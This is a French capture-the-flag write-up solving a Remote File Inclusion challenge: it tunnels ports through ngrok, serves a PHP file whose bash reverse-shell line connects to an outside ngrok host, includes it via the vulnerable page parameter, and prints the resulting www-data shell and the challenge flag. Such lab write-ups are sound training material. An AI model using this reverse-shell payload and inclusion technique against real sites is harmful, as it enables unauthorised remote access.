Remote File Inclusion (RFI)
Consignes
Le flag se trouve à la racine du site web (/var/www/html) !
Réalisation
Après une connexion au site, nous nous retrouvons dans URL particulier. Un test similaire à celui effectué lors du challenge Local File Inclusion (LFI) Base64 est alors effectué en se rendant sur le lien suivant pour tester le RFI : http://ctfd-0.int.ecole2600.com:20676/index.php?page=https://google.com
Ce lien nous montre la page de https://google.com
On sait sur RFI permet d'inclure un fichier se trouvant sur un serveur distant. Le but va donc être d'injecter notre propre fichier afin de récupérer le FLAG.
Pour ce challenge, on a choisi de réaliser un reverse shell pour avoir un accès via un invite de commande (+ stylé non ? 😎)
Pour se faire, étant donné que nous avons la version gratuite de ngrok, nous ne pouvons lancer que une seule session à la fois, ne nous permettant pas de réaliser à la fois une écoute sur le port 4444
pour réaliser la connexion à distance et un accès sur le port 8000
que nous utiliserons pour exposer notre shell sur Internet et y accéder via le site cible.
Pour palier ceci, nous devons modifier le fichier ~/.config/ngrok/ngrok.yml
en y ajoutant les éléments suivants :
tunnels:
tcp:
addr: 4444
proto: tcp
http:
addr: 8000
proto: http
Le but ici est de mettre en place 2 tunnels que nous allons lancer en même temps pour ne lancer que une session avec 2 adresses différentes pour l'écoute et le partage de notre reverse shell.
Une fois le fichier modifié et sauvegardé, nous pouvons exécuter dans un autre terminal notre ngrok avec les 2 ports renseignés dans le fichier précédent :
ngrok start --all
ngrok (Ctrl+C to quit)
🫶 Using ngrok for OSS? Request a community license: https://ngrok.com/r/oss
Session Status online
Account xxxxxxxxxxx@gmail.com (Plan: Free)
Update update available (version 3.22.1, Ctrl-U to update)
Version 3.21.0
Region Europe (eu)
Latency 22ms
Web Interface http://127.0.0.1:4040
Forwarding tcp://2.tcp.eu.ngrok.io:13380 -> localhost:4444
Forwarding https://2d42-176-189-21-212.ngrok-free.app -> http://localhost:8000
Connections ttl opn rt1 rt5 p50 p90
4 0 0.00 0.00 0.00 459.91
Nous pouvons bien observer la création de 2 liens sur les ports 4444
et 8000
.
Il nous faut maintenant créer notre reverse shell. Pour se faire, créer le fichier shell.php
qui est lié à notre port d'écoute 4444
:
<?php
shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13380 0>&1'");
?>
Maintenant, exécuter dans un nouveau terminal la commande suivante pour écouter le port 4444
:
$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Exécuter en paralèlle, dans le répertoire du fichier shell.php
, la commande python permettant d'accéder au shell :
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Une fois tout ceci prêt, accéder via le site cible à notre fichier shell.php
en utilisant le lien ngrok sur le port 8000 :
http://ctfd-link.com:20676/index.php?page=https://2d42-176-189-21-212.ngrok-free.app/shell.php
Une fois l'accès à ce lien effectué, un reverse shell est bien établi sur notre page utilisant netcat :
$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from ::1.
Ncat: Connection from ::1:59044.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@c23adb78bacd:/var/www/html$
Une fois la connexion établie, on observe que l'on se trouve à la racine du site WEB, on peut alors affiché le FLAG :
www-data@c23adb78bacd:/var/www/html$ ls
css
flag.txt
index.php
www-data@c23adb78bacd:/var/www/html$ cat flag.txt
2600{Z85LM5ZhVkfme3Ejuu0PXw}
Voici donc le FLAG :
2600{Z85LM5ZhVkfme3Ejuu0PXw}
Last updated